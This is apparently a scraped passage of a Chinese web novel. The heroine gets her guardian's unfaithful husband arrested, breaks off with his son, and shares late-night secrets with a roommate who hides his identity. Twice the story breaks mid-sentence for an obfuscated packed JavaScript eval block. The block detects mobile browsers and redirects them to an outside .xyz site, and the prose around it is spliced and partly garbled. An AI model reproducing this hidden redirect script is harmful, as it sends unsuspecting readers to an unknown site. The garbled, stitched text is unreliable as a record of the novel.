反正已经面对面坐在饭店包厢里了,即便想出答案也没有意义。 二人各自点菜,全程没有交流,连服务员都觉得疑惑——好冷,是包厢里的空调温度设得太低了吗? 直到服务员检查完空调温度,告辞离开以后,向宁才主动挑起话头。 “你什么时候回国的?” 蒋昭恒话中带刺:“这样的问题,不是应该在昨天咱们第一次见面的时候问吗?” 向宁知道他对自己有怨,也不计较,以退为进道:“既然你不想说,那我就不问了。” 蒋昭恒一哽,移开眼神别别扭扭道:“昨天刚回来。” 向宁不加铺垫,直接问道:“不打算去看看蒋元磊吗?” “看他?”蒋昭恒哼出一声冷笑,“等他死了,我去葬礼上随五十块钱份子就算仁至义尽了。” 向宁对他的态度毫不意外,坦言道:“他昨天晚上来找我,请我帮忙——” 话才说到前一半,蒋昭恒就猜到了后一半,于是板着脸拒绝道:“让他死了这条心吧,我早说过,就当没他这个父亲。” 说完又抬眼看着向宁,皱眉道:“如果你约我吃饭就是为了帮他说这些废话,那这顿饭就没有必要继续吃了。” 向宁见他一脸怒容,起身要走,也不急着拦,只慢悠悠往椅背上一靠,抬头直视着蒋昭恒的眼睛说道:“我不是在帮蒋元磊,而是在帮向阿姨。” 听到她提起母亲,蒋昭恒更是不忿,旧怨涌上心头,使他一时无法心平气和地沟通,只阴阳怪气道:“不愧是玩公关的,颠倒黑白的话张口就来。” 向宁给自己倒了杯红酒,平心静气道:“我还以为你们当律师的,评人观事会更依赖证据,而非刻板印象呢。” 蒋昭恒虽然又发出一声冷哼,却还是坐了下来,深望向宁一眼:“我倒要看看,你能拿出什么证据,证明你从来没有背刺过你的救命恩人。” 向宁只是笑笑:“你有没有想过,如果我真的背叛了向阿姨,她为什么一点也不怨我,反而依旧时常关心我,帮助我呢?” 蒋昭恒当然想过。 事实上,他百思不得其解。即便询问了母亲,对方也从不正面回答,只用一句万年不变的台词搪塞他。 “小宁不是那样的人。” 说来好笑,蒋昭恒一度强迫自己去相信这个结论,他比谁都希望这句话是真的。 可他就是做不到。 只要看着向宁对蒋元磊和颜悦色,恭敬有加,他就控制不住地迁怒于她。 即便几年未见,二人天各一方,他也从未淡忘过当年的愤怒,从未迈过心里这道坎。 这次回国,蒋昭恒本来已经说服了自己——只要向宁别在他面前给蒋元磊说好话,他就能与她和平相处,试着忘记过去的龃龉。 此时此刻,他无比希望向宁真的能拿出证据来,证明他误会了她。 可向宁却又一次带给他失望。 “我现在拿不出证据。” 哼,果然是这样。 想想也是。 如果真的有什么证据,当年二人闹分手时她就该拿出来了,可她那时却未置一词,连狡辩的欲望都没有。 他还有什么可期待的呢? “既然是这样,”蒋昭恒叹了口气,“那我们就没什么好说的了。” 第二次起身欲走,向宁依然没有阻拦。 蒋昭恒只听见身后传来高脚杯重重放在玻璃桌面上的声音,紧接着便是向宁的一句话—— “只要你愿意忍着恶心,答应跟蒋元磊见一面。” 蒋昭恒停住脚步,仍旧保持沉默,竟是愿意听她把话说完的意思。 向宁起身走到桌子的另一侧,给他倒上半杯红酒。 “要不了太久,会有人替我把证据给你的。” 蒋昭恒知道,她现在一定盯着自己的背影。 要转身吗? 要再相信她一次吗? 蒋昭恒叹了口气。 好吧。 最后一次。 …… 十分钟后。 “小宁,昭恒刚才主动联系我了,说是愿意跟我一起吃顿饭!” 蒋元磊兴高采烈地打电话来给向宁报喜,顺便道谢。 “谢谢你啊,小宁,还是你有本事!” 向宁的手机开着免提,就放在她和蒋昭恒中间。 “不用谢,蒋叔叔。”她假装刚刚才知道这个消息,“你们已经约好了吗?什么时候见面呀?” “就这周六!”蒋元磊心情大好,嗓门也随之变大,“你要一起来吗?” “我就不去了,你们父子俩久别重逢,就好好聊一聊吧。” 蒋昭恒不以为然地撇了撇嘴角,说实话,他一点也不想和蒋元磊假模假式地“互诉衷肠”。 蒋元磊却丝毫没有怀疑,只当儿子长大了,不像少年时那么冲动敏感,所以愿意与他和解,不过…… “唉,说出来不怕你笑话,我现在还挺紧张的。昭恒突然愿意见我了,我却不知道见了面该跟他聊些什么。” 向宁心思一转,热心引导道:“这不还有好几天时间嘛,足够您提前准备了。到了周六,您要是还紧张的话,就找个地方按按摩、泡泡脚、正正骨什么的,让专业老师傅帮您放松放松呗。” 向宁用开玩笑的语气提出这个建议,落在蒋元磊耳朵里,便抑制不住地往歪处滑了。 放松…… 真要放松,他有更好的方法。 不能宣之于口的方法。 闲话几句,二人挂掉电话,一旁憋了许久的蒋昭恒终于出声:“真不明白你在折腾什么。” 难道让他们父子见一面,向宁所谓“没有背叛向晚蘅”的证据就能凭空出现了吗? 蒋昭恒凝视她道:“这最好不是你骗我去见他的把戏。” 向宁无语一叹,继而揶揄道:“这么有质疑精神,你怎么不去做刑辩律师呢?满口‘异议’,真人版逆转裁判,那多酷啊。” 蒋昭恒扭头看向窗外,喃喃道:“少打点游戏吧你……” 话音落时,二人一起陷入默契的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978366|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默。 这句熟悉的唠叨,在她十九岁的那个暑假里出现过太多次。 只是没过多久,两人就分道扬镳了。 打破沉默的是几声短促的新消息提示音。 [枕安]猫猫在客厅落地窗边趴了好久,一直在观察楼下。 [枕安]你看它的眼神,是不是在问:妈妈怎么还不回家? 向宁点开他发来的视频,被猫猫的表情逗得噗嗤一笑。 蒋昭恒很久没见她这样笑过,心里一紧,佯装随口问道:“你男朋友催你回家了?” “不是啊。”向宁没有抬头,将那视频重播一遍,眉眼弯弯道,“是室友,帮我女儿催我回家呢。” “女儿!?”蒋昭恒大惊,险些摔了手里的高脚杯。 “喏,就是它。”向宁将手机展示给对方,笑意盈盈道,“可爱吧。” 蒋昭恒惊魂甫定,夸了句可爱,又明知故问道:“你室友……是简晓夜吗?” “不是,另一个室友,你不认识。” 蒋昭恒心中有数——多半是昨天在电梯里见到的那位。 原来不是她男朋友啊…… 即便知道了实情,蒋昭恒的心里也没舒坦多少。 室友而已,她回不回家跟你有关系吗?催什么催! 多管闲事。 “你最近很缺钱吗?”他酸溜溜地问。 让简晓夜借住也就罢了,算是帮朋友的忙。 “怎么又冒出来一个室友?”难不成就为了赚那点房租? “我缺钱怎么了?”向宁斜眼呛他,“又没跟你借。” 互怼两句,包厢里的气氛又冷了下来。 这顿饭吃得不算愉快,向宁急着回家看猫,便提前结账离开了。 蒋昭恒透过窗户注视着她快步离开的背影,忽然觉得自己这一整天的纠结回避都像个笑话。 原来,向宁早就全心全意投入新生活了。 只有他还沉沦在过往的不甘和阴影里。 …… 走出饭店,天空仿佛被厚厚的乌云压低,一丝气也透不出。 雪花慢慢落下,等向宁走回小区,楼底下已经铺满薄薄一层白色雪毯。 十二楼客厅的灯亮着,只是距离太远,看不清窗边的小猫脑袋。 等向宁打开家门,猫猫已经在门口等着迎接她了。 向宁把猫抱进怀里,正打算猛亲两口,猫猫却一反常态,躲开她的动作,挣扎着跳到地板上,踮着傲娇的小步子溜回她的卧室去了。 “诶,怎么回事?”向宁一头雾水。 枕安抱臂含笑,看着她问道:“你是不是在外面摸别的野猫了?” “没有啊!”向宁大呼冤枉。 “这样的话……”枕安摸着下巴,做思考状,“可能是你回家太晚,它生气了吧。” “会吗?”向宁持怀疑态度。 这孩子以前没这么小心眼啊! 向宁摸不着头脑,于是追进卧室里,打算强行撸猫。 她前脚刚走,后脚便有人敲响家门。 咚、咚、咚。 谁啊?敲门还挺有节奏感。 枕安开门一看,来人正是昨天在电梯里打过照面的蒋昭恒。 他肩头的落雪化了大半,冷气阻不住西装外套上的香水味。 枕安昨天抛之脑后的小小疑问,此刻似乎得到了无言的解答。 他们果然认识。 50. 抓现行 “你找向宁吗?”枕安面无表情。 蒋昭恒答非所问:“她跟你提过我?” “没有。”枕安仍然握着门把手,修长的胳膊像一道天然警戒线,“猜的。” 蒋昭恒脚步未动,放眼向屋内看去,却没看到期待中的那个身影,便问道:“她睡了吗?” “可能吧。”枕安显然没有放他进门的意思,“有东西需要我转交?还是有话需要我转达?” 不知是不是错觉,蒋昭恒忽然感到一股不可言说的敌意,正在暗流涌动。 即便客场作战没有优势,蒋昭恒也不想输了气势。 “刚才我们一起吃饭,她趁我不注意,悄悄把账结了。” 说着,蒋昭恒从钱包里抽出两张百元大钞,美金。 “我来把钱还她,你要帮忙转交么?” 不等枕安回答,他像是忽然想起了什么,又抽出第三张钞票,朝枕安的方向递去。 “Sorry,差点忘了giveatip,拿着吧。” 枕安瞟一眼他手里的三百美金,并未伸手去接,而是皮笑肉不笑地表达疑惑:“要还钱,直接转账应该会更方便。她那么忙,总不能为了区区几张外币专门跑一趟银行,你说是不是?” 蒋昭恒嘴角微微一扯,胳膊僵在空中,不知该不该收回。 枕安目光一扫,故作恍然大悟状:“哦,难道——” 一个道字拖得很长,带给蒋昭恒一种不详的预感。他接下来说的话,一定很不中听。 果不其然,枕安的后半句话直接踩上了蒋昭恒的心结。 “她没有加你的微信吗?” 绝杀。 这话让人怎么接? 难道要说“加过,只是我赌气给删了”么? 二人大眼瞪大眼之际,向宁隐约听见外面有动静,便抱着猫猫走了出来。 “蒋昭恒?”她有些惊讶,“你来做什么?” 听到这个名字,枕安眉头轻轻一蹙,很快又恢复原状。 姓蒋。 从美国回来。 难道是向晚蘅和蒋元磊的儿子? 蒋昭恒对向宁的疑问避而不答,转移话题道:“这就是你女儿?很可爱。” 说完伸出手,想摸摸小猫的脑袋,猫猫却用力挣脱向宁的怀抱,跑回窝里睡觉去了。 向宁这才想起来:“哦——怪不得!” “什么?”蒋昭恒不解其意。 枕安抱臂站在一旁,代她答道:“猫猫不喜欢你的香水味。” 向宁敏锐察觉到他的语气有些反常,不由偏过头去瞥了他一眼。 送走蒋昭恒后,她便向枕安问起:“你刚才的态度好奇怪,他怎么惹到你了?” 枕安迟疑片刻,垂眸道:“听蒋元磊说,向阿姨当初本来想收养你,但她儿子一力反对,逼她放弃了这个念头,只能把收养改为资助。这件事……你知道吗?” 向宁听罢有些错愕,怔愣良久才低声反驳道:“蒋元磊的话也未必可信,这种人……” 她说到一半就停住了。任谁都看得出来,她现在的情绪很是低落。 这天晚上,向宁又失眠了,在床上辗转反侧,熬到半夜两点多,突然收到了蒋昭恒的微信好友申请。 附言一句:「我们聊聊好吗?」 她的目光停滞半晌,没有同意也没有拒绝,直接退出了这个界面,转而给枕安发去一条消息—— 「蒋元磊有没有说,蒋昭恒为什么反对向阿姨收养我?」 本以为明早才能收到回复,没想到仅仅两分钟后,他的头像就亮起了小红点。 「他说可能是考虑到财产继承的问题。」 向宁深吸一口气,又缓缓吐出。 如果真是这个原因,她倒也能理解,没什么好怨怼的。 她转而问起:「你还没睡啊?」 枕安很快回复:「我在想,刚才是不是不应该告诉你这些,你听了好像不太开心。」 向宁轻笑一声,回道:「不要内耗,朋友之间就应该坦诚以待嘛。」 这条消息刚发出去,向宁就接到了严晓梅打来的电话。 看清来电显示后,她猛然坐起身来,匆匆按下接听键。 “严警官,有情况吗?” 对面的背景音稍显嘈杂,似乎在室外,时而传来汽车喇叭的声响。 严晓梅没时间多说,言简意赅道:“你举报的人,今晚有酒店给我们递消息了,我们刚才抓了个现行。现在通知你一声,向热心群众道个谢。” 向宁瞪大双眼,惊讶道:“这么快啊!?” 几个小时前,她才跟蒋元磊通过话。算算时间,难道他一挂电话就去约人开房了吗? 呵,她还以为至少要再等几天呢,没想到在这种事情上,他还真是一点拖延症都没有啊!瘾够大的。 向宁又问:“严警官,如果他因为□□被拘了,你们是不是会通知他的家属?” 严晓梅答道:“没错,不过要先做笔录。考虑到现在时间太晚,我们可能会等到明天再通知。” 向宁忙道:“不用等,就今晚通知吧,他儿子还没睡!” 严晓梅愣了愣:“具体通知哪位家属,我们还需要考虑当事人的意见。” 向宁没有坚持,只道:“好呢,严警官辛苦啦,我等您消息。” 反正除了蒋昭恒,蒋元磊现在也没有其他亲属可联系了。 向晚蘅?远在国外,早就换了联系方式,他想找也找不到。 蒋元磊的情人和私生子?除非他疯了,否则不可能把这段见不得光的关系摆到明面上来。 向宁挂断电话,手机界面自动跳转,回到了她和枕安的聊天页面。她发完刚才那句话,对方回了两条——第一条已撤回,第二条是个猫猫点头的表情包。 向宁没有多想,随即给蒋昭恒打去电话,对方几乎秒接。 “宁宁——”他的声音没有困意。 “来我家一趟,现在。”向宁跟他同时开口,语速飞快。 不等对方回应,向宁就挂断了电话,继而起身披上外衣,往客厅走去。 不知蒋昭恒在磨蹭什么,向宁足足等了二十分钟,才听到门外传来脚步声。她从猫眼向外看去,蒋昭恒捏起拳头,抬手在门板近前停顿良久,迟迟没有进一步的动作。 向宁索性直接打开房门,疑道:“来了怎么不敲门?站外面干嘛,夜班保安试岗吗?” 与她睡衣外面披风衣的穿搭风格不同,蒋昭恒明显精心打扮过,还换了一款更清淡的香水。 他目光微窘,收回手垂眸道:“我们……进去聊吗?” 向宁见蒋昭恒举止忸怩,生恐他误会什么,连忙一本正经说道:“你的手机借我用下。” “手机?”蒋昭恒抬眸一怔,伸手摸向西装口袋,“出门匆忙,忘带了。” 向宁表情严肃:“那就回去取,现在。” 蒋昭恒本想问个明白,却耐不住她反复催促,只得先上楼取来自己的手机,这次倒是没再磨蹭,动作很快。 向宁这才把他迎进屋内,客厅只开着一盏落地灯,堪堪照亮茶几。二人在沙发上坐下,中间隔着半米距离。 蒋昭恒把手机递给向宁:“密码是我生日。” 他目不转睛盯着她的动作,见她只输一次密码就解开了锁,心里不由松一口气,稍感宽慰。 向宁点开通讯录,往里面存了一个电话号码,归还手机时对蒋昭恒说:“先别睡,等她的电话。” 蒋昭恒一头雾水,读出新建联系人的备注名称:“严晓梅警官……她是谁?为什么要给我打电话?” 向宁卖了个关子:“别急,一会你就知道了 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“嗯。”向宁收回目光,把注意力重新放回游戏里,玩笑道,“无家可归,找我收留,整个一猫界简晓夜。” 蒋昭恒并没有get到这个笑话的幽默之处,微微蹙眉道:“那你的另一个室友呢?” 向宁正在被一群小怪围攻,眼看是打不过了,只能手忙脚乱按下暂停,抽空抬眸看他一眼:“你想问什么?” 蒋昭恒沉默片刻,向她伸出手道:“我帮你打吧。” 向宁眼含诧异:“你不是从来不打游戏吗?” 蒋昭恒接过她递来的游戏机:“那是出国以前。” 向宁朝他坐近几分,看着游戏机屏幕,打算仔细观察评判他的游戏技术。 蒋昭恒却没有马上取消暂停,转而问起:“你那个室友什么来头?” 向宁先是一怔,继而想起祝璋的嘱托,不能把枕安的身份透露给外人,于是含糊答道:“工作上的朋友。” 蒋昭恒追问:“为什么让他住进你家?” “跟你有关系吗?”向宁有些不悦,从他手中抢回游戏机,“别用这种审讯犯罪嫌疑人的语气跟我说话。” “我只是担心你。”蒋昭恒压低声音,急切解释起来,“你闺蜜拍戏不在家,留你们孤男寡女共处一室。万一他心怀不轨,对你下手——” 向宁闻言不由一哂,按熄屏幕把游戏机扔到一旁,打断了他的后半句话。 “蒋昭恒,你到底是比我大一岁,还是大一百岁啊?” 向宁勾住他的衣领,用力向自己身前一拉,贴在蒋昭恒耳边,声音轻柔,语气含笑。 “他长得帅,身材好,就算我跟他真的发生点什么,你又凭什么觉得一定是我吃亏?” 语毕,她立刻起身与他拉开距离,眼神也变得冷淡许多,没了笑意。 蒋昭恒似乎还想说些什么,却被一阵突如其来的手机铃声打断了思绪。 黑猫警长主题曲,是严晓梅打给向宁的电话。 向宁接起电话,按下免提,摆在她和蒋昭恒中间的沙发上。 “严警官,现在什么情况?” “刚做完笔录,拘十五天。”严晓梅叹了口气,忿忿道,“我们说要通知家属,但这家伙死活不肯松口,一直不交代他家属的联系方式。我想着你应该知道,所以打电话来问问你。” 蒋昭恒狐疑地盯着手机屏幕,用无声的口型问向宁:“谁的案子?什么事?” 向宁没有回答,对严晓梅笑道:“不用那么麻烦,他儿子现在就在我旁边呢,您直接跟他讲吧。” 语毕伸手轻戳蒋昭恒的腰窝:“快吱声。” 蒋昭恒怔愣一瞬,马上猜到是谁犯事被拘了,连忙回话:“严警官您好,我是蒋元磊的儿子,蒋昭恒。” 51. 交换秘密 挂掉电话,蒋昭恒久久没有回过神来。 向宁收起手机准备送客,打个哈欠说:“行了,回家睡觉吧。” 蒋昭恒没有起身,抬头看向她问道:“你怎么知道他今晚会被抓?” 向宁歪头笑笑:“很简单,因为就是我举报的他。” 蒋昭恒还是不解:“可是,你怎么知道他会去……去做那种脏事?” 向宁简略对他解释一番来龙去脉,末了叹道:“说来起,也多亏你突然回国,他才病急乱投医,主动来找我通路子。否则我还不知道要等多久,才能等到他对我放下戒心,主动送上门来。” 蒋昭恒凝眸望向她,慢慢站起身来,迟疑着走近她几步。 “所以,你当年并不是真心实意站在蒋元磊那边,只是为了获取他的信任,以便查出他的把柄,对不对?” 向宁摇摇头:“这点把柄算不了什么,十五天的拘留而已,不过是盘开胃小菜,我还有许多后招等着他呢。” “什么后招?”蒋昭恒问。 “事以密成,你就别急着问了。”向宁冲他笑了笑,“当年向阿姨不方便做的事,现在我来替她做。她不忍心的捅的刀,也由我来帮她捅。只有把蒋元磊逼上绝路,向阿姨才能从这段名存实亡的婚姻里全身而退。” 蒋昭恒凝望着她的双眼,久久说不出话来。 向宁错开他的目光:“你那是什么表情?怨我还是谢我?” 蒋昭恒双唇微颤,几番欲言又止,最后自责地低下头,小声说了句:“对不起,我当年……太冲动了。” 向宁偏过头去,轻声道:“不用,都过去那么久了。” 蒋昭恒犹豫片刻,又靠近她半步,想去抓她的手指。向宁却连退两步,躲开了他的动作。 蒋昭恒的手在空中停滞一瞬,继而松松攥成拳头,无力地垂在腿边。 “其实当年,哪怕你随便反驳我一句,或者只是摇摇头也好,我都愿意信你。”客厅灯光昏暗,替他掩饰着泛红的眼眶,“我们不至于走到分手那一步。” “你当时已经放话要跟蒋元磊断绝父子关系了。”向宁的语气十分平静,“如果咱们不闹掰,他又怎么可能对我放松警惕呢?” “那我们之间的感情算什么?”蒋昭恒忍不住抬高了音量。 如果她重视这份感情,至少可以给他交个实底,两个人相互配合,假装闹掰,也足以瞒过蒋元磊了。 “感情?”向宁自嘲一笑,“如果咱们的感情足够深,哪怕我一个字都不解释,你也该相信我不是那种忘恩负义的人。就像向阿姨一样,这几年来,她一直无条件相信我,不是吗?” 蒋昭恒无言以对,缓缓低下头,又说了声抱歉。 “蒋昭恒,看着我。”向宁抱臂走到他身前,“我还有一个问题,你能告诉我一句实话吗?” 蒋昭恒连忙点点头,与她目光相接。此刻二人距离拉近,他湿润的双眼藏不住任何情绪。 “我还是很喜欢你。”他哽咽着说,“一直很喜欢……” 向宁被这突如其来的表白打乱了节奏,只得暂时躲开他的目光,轻咳一声道:“我不是要问这个。” 蒋昭恒捏住她一只手:“不论你想不想知道,我都要告诉——” “蒋昭恒。”向宁直接出言打断,“当年向阿姨本来想收养我,是你一力反对,她才改变主意的,对吗?” 她话音一落,蒋昭恒的手霎时僵住了。 向宁心下了然,用力抽出自己的手:“不用回答,我知道了,你回家吧。” 蒋昭恒顿觉心口发紧,连连摇头道:“不,宁宁,我可以解释,当年——” “你不用解释,我都理解。”向宁的微笑总显疏离,“多一个人分财产,换作是谁都会反对的。” 蒋昭恒只顾摇头,连自己何时流下眼泪都没有察觉:“不是因为这个,宁宁,我——” “我没有怪你的意思。”向宁再次打断他,时机挑得略显刻意,“即便没有被向阿姨收养,我现在的生活也比小时候强出一万倍了。我挺知足的,真的。” 蒋昭恒顾不上擦泪,只觉有口难辩。 他足够了解向宁的脾气,看得出来,她这样堵他的嘴,就是不想给他机会解释来龙去脉,像一种微妙的报复。 当年,是他先误解她的。现在,她不过是以其人之道还治其人之身罢了。 向宁一手按上蒋昭恒的肩膀,轻轻拍了拍,坦然道:“我以前真的很喜欢你。” 所以才会因为被他误解而难过、委屈、且不甘。 分手这几年,向宁本以为自己已经全然消化了这些情绪,不再耿耿于怀了。 直到今夜她才看清自己的心思。 原来,这些情绪只是被她暂时封存了起来,为的就是在此时此刻,把它们全数奉还给他。 走完这一步,向宁才算真正放下了这段感情。 “从今以后,我们还是做朋友吧。” 分手时的标准话术,只不过,迟到了几年。 …… 蒋昭恒离开以后,向宁一个人坐在落地灯旁的地毯上,全无困意。 大脑放空半晌,她打开电视调成静音,从收藏夹里找了部很久没看过的老剧,从第一集开始播放。 片头曲里,向宁十六岁的面容匆匆闪过,只出现了几次。其余大部分镜头,拍的都是女主角向晚蘅。 向宁给自己开了瓶红酒,刚倒上半杯,还没来得及喝,枕安就从卧室里走了出来。 向宁冲他抱歉一笑:“不好意思啊,是不是我们刚才把你吵醒了?” “没有,我本来就没睡。”枕安去厨房给自己倒了杯热水,“刚才一直在画画。” 向宁打开手机看了看时间,诧异道:“半夜三点多,你还在画画?” “熬夜才更容易找到灵感。”枕安端着杯子走到近前,与她面对面坐下,“倒是你,三点多了还不睡觉,还喝酒,明天不上班了?” 向宁一口气喝完了半杯红酒,一边续杯一边笑吟吟说道:“蒋元磊被拘了。好不容易等来这样天大的喜事,我还不能喝点酒庆祝庆祝吗?” 枕安端着正在冒热气的马克杯,跟她手中的高脚杯轻碰一下,半认真半玩笑道:“咱们好歹是同属一个特工组织的同志,现在任务成功了,你总不能自己偷偷庆祝,不带上我这个搭档吧?” 向宁闻言失笑,把红酒瓶放在两人中间:“同乐,同乐。” 枕安犹豫片刻才拿起酒瓶,往自己的热水杯里倒了一点红酒。 “这是什么喝法?”向宁看不懂,但大为震撼。 枕安面露赧然:“酒量不好,意思意思。” 向宁又跟他碰一下杯,双双干杯后向他问道:“我们家房子隔音还不错吧?” 枕安对上她意有所指的眼神,干脆挑明了说:“你是想问,我有没有听见你们刚才在聊什么?” 向宁没有回答,给自己续上第三杯酒,算是默认了他的猜测。 枕安无声一笑,对她坦言道:“听见了几句。” “哪几句?”向宁马上追问。 “蒋昭恒嗓门稍大的那几句。” “比如呢?” “比如……” 枕安抿唇回忆片刻,一一回答。 “第一句,他问你们之间的感情算什么。” “第二句,他说他可以解释,当年——后面就没声了。” “第三句,他说……”枕安顿了顿,抬眼与向宁对视,“他不甘心以后只做朋友。” 向宁用鼻子哼出一哂,又抿几口红酒,问他:“你好像有话想说?别憋着了。” 枕安的指尖无意识地在杯底画着圈,沉默了几秒才回答:“我觉得,也许蒋昭恒当年的行为没有恶意。他之所以阻拦向阿姨收养你,可能只是怕你们成为名义上的兄妹,断了……其他的感情。” “不可能。”向宁否认得斩钉截铁,“他那时候根本不认识我,我们远隔万里,连面都没见过呢。” 枕安垂下目光,双手握紧瓷杯,低声道:“你没见过他,不代表他不认识你。” 向宁仍是摇头:“肯定不认识。后来我被向阿姨带回家,第一次见到他的时候,他甚至很讨厌我,我心里有数。” 枕安没有继续反驳,转而问起:“你和向阿姨是怎么认识的,愿意跟我讲讲吗?她为什么想收养你?” 向宁抬眸看他,轻笑一声道:“咱们还没熟到你可以问这些事的程度。” 枕安表情一滞:“抱歉。” 向宁喝完第三杯酒,把酒杯重重放下,再开口时话锋一转。 “除非……你用你自己的秘密来交换。” “什么秘密?” “你和祝璋是怎么认识的?她为什么偏偏会选你做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987269|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枪手?” 枕安没怎么思索便答:“从小就认识,知根知底,她相信我不会背刺她。” “从小就认识……”向宁颇感意外,“青梅竹马?” 枕安摇头:“远房亲戚。” 向宁往前坐了坐,微微向他倾身:“枕安,是真名吗?” “稍等。” 枕安旋即起身,回卧室取来身份证给她看,照片上十八岁的面容比现在青涩许多。 “我还以为是艺名呢,居然真有这个姓……”向宁看完姓名栏,又去看生日栏,“哇,你居然才二十二岁,比我还小两岁耶。” “居然?”枕安对她的用词颇有意见,“我长得很不年轻吗?” “年轻,年轻。”向宁把身份证还给他时,莫名想加一句押韵的揶揄,“叫声姐姐听听。” 枕安岔开话题:“说好交换秘密的,现在轮到你了。” 调戏未果,向宁也不多废话,直接回答他刚才的问题。 “我十六岁那年,向阿姨来我老家拍戏,我在剧组帮工,一来二去就认识了。” 至于他的第二个问题——向晚蘅为什么想收养她?向宁没有回答。 枕安也没有追根究底。他知道,他们现在还没熟到能聊这个秘密的程度。 “就是这部剧吗?”他换了个方向,背靠沙发,跟向宁并肩而坐,朝着电视扬了扬下巴。 第一集才播了几分钟,屏幕上正好是向宁的特写镜头。 “这你都认得出来?”她讶然道,“这么土的造型,我自己都快认不出来了。” 这是一部乡土剧,向宁扮演的是少年时代的女主角——小花。她戏份不多,所有造型都扎着一根粗黑油亮的麻花辫。 枕安拿起遥控器,答非所问:“没人睡觉,把声音打开吧。” “不行,不许开!”向宁从他手中抢过遥控器,俨然一副严防死守之势。 “为什么?”枕安十分不解。 向宁支支吾吾,半晌才说出原因:“我那个时候不会说普通话,台词功底也不好,静音看还行,一开声音就显得蠢兮兮的。” 枕安强忍笑意:“可是……我已经知道这部剧叫什么了。就算你现在不让我开声音,我也可以改天自己搜来看呀。” 向宁霎时睁大双眼,欺身靠近他发出警告:“你要是敢私下偷偷看我的黑历史,咱们这朋友就没得做了!” 枕安只得表态:“好,我保证不偷偷看。就算想看,也得在你这个专业人士的指导和陪同下,静音观看。” 向宁满意一笑:“这还差不多。” 语毕,她关掉落地灯,客厅立时有了电影院的氛围感。二人默契地遵守着观影规范,不玩手机不屏摄,不造噪音不聊天。 大半集默剧放下来,向宁已是哈欠连天,加之醉意渐渐上头,眼皮越来越重,不知不觉就睡着了。 枕安忽然感觉肩膀一沉,偏头看去,一片黑暗中,只有电视屏幕这个不稳定的光源为他照明。 “睡着了?”他轻声问。抑或自言自语。 向宁的呼吸悠长平稳,枕安帮她拂开面前乱发,小心翼翼转过头,继续看完了剩下半集电视剧。 片尾曲一出,演职人员名单随之开始滚动。 然而,向宁所饰演的“少年小花”角色,后面跟着的并不是她的名字。 或者说,不是她现在的名字。 “花娣。”枕安用极轻的声音念出这个名字,一如八年前,第一次看到这个名字那样。 在眼前的演职员表里,“花娣”二字被白色的示亡号框住,代表这个人已经过世了。 八年来,枕安一直以为她过世了。 他关掉电视。失去了最后的光源,偌大的客厅愈发晦暗,像一间古怪的告解室,只是没有神职人员倾听他的忏悔。 又或者,神职人员睡着了。 “对不起,我刚才是骗你的。” 他在黑暗中看向一片虚无,一一细数自己的罪责。 “枕安不是我的本名。” “祝璋姐不是我的远房亲戚。” “年龄也是假的,我只比你小一岁而已。” “还有……” “你的造型一点都不土,口音也很可爱。” “不是黑历史,我早就看过了。” “很高兴认识你,向宁,我真的……很高兴。” 52. 番外一:初恋往事 从小到大,蒋昭恒一直以为自己生活在最完美的家庭里——父母婚姻美满,恩爱和谐,多年以来几乎从未有过分歧。 直到十七岁时,他才偶然窥见这份美满背后的一丝裂痕。 那是个再寻常不过的周末,正值暑假,本该是上马术课的时间,蒋昭恒却因为突如其来的低烧,不得不取消课程。 提前两小时回到家里,蒋昭恒刚走进客厅,就隐约听到父母的卧室里传来了奇怪的声音。 即便大脑昏昏沉沉,他也分辨得出——那声音来自两人,一男一女,一熟悉一陌生。 龌龊的,欢愉的声音。 蒋昭恒不敢置信地走近那间卧室,几度迟疑,终于敲响了房门。 被撞破丑事的蒋元磊满眼慌乱,面上的热汗使他失去了往日的风度。 但他很快就镇定下来,把蒋昭恒带到书房,来了一场父子谈心。 起初,他请求着:“昭恒,别告诉你妈,好吗?我不想她伤心。” 后来,他表演着:“我保证这是第一次,也是最后一次。从今以后,我绝不会再做这种糊涂事了,我发誓!” 奈何这两招都毫无用处。眼见蒋昭恒铁了心要把真相告知向晚蘅,蒋元磊只好冒险最后一搏。 “你以为你妈是什么道德标兵吗?别天真了,昭恒,其实她早就出轨了!是她先对不起我的!” 蒋昭恒冷笑一声:“你自己做了亏心事,还敢往我妈身上泼脏水?拿不出证据,你的话我一个字都不会信。” “证据……”蒋元磊捏紧双拳,飞速思索着应对策略,忽而眼神一转,“我当然有证据!” 说着,他打开电脑,调出向晚蘅近日发来的几张照片。那是她和一个女孩的合照,二人的眉眼略有几分相像。 “这个女孩叫向宁。”蒋元磊双手环抱,阴阳怪气地说,“向晚蘅的向。” 蒋昭恒盯着屏幕,渐渐蹙眉:“你想暗示什么?不如直说。” 蒋元磊煞有介事:“这是你妈的私生女,比你小一岁。你妈自知理亏,不敢把她带回家,一直养在外面。” 蒋昭恒不愿相信,很快就找到了破绽,指着照片一角说道:“这明明写着‘县福利院’,我妈怎么可能让亲生女儿在那种地方长大?” “鬼知道她是在哪长大的。”蒋元磊不屑一笑,“你妈现在想把野种带回家,美其名曰‘收养孤儿’,当然要给她找个能过明路的身份。什么狗屁福利院,这么蹩脚的借口,也就能骗骗你这种没进过社会的傻孩子。” 蒋昭恒仍是摇头:“不可能,我不相信……” 